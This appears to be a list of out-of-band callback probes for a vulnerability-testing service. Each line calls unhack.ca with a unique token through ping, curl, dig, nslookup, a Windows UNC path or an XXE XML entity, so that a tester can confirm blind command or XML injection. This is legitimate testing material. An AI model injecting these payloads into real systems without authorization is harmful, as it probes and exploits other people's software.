$ ping -c1 -p 00ffad7b3a1844965f06c11613161500 unhack.ca
 

$ curl http://unhack.ca/p/ffad7b3a1844965f06c116131615
 

$ dig ffad7b3a1844965f06c116131615 @unhack.ca
 

$ dig ffad7b3a1844965f06c116131615.ns.unhack.ca
 

C:\> nslookup ffad7b3a1844965f06c116131615 unhack.ca
 

C:\> type \\unhack.ca\ffad7b3a1844965f06c116131615\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ffad7b3a1844965f06c116131615">]>
    <foo>&xxe;</foo>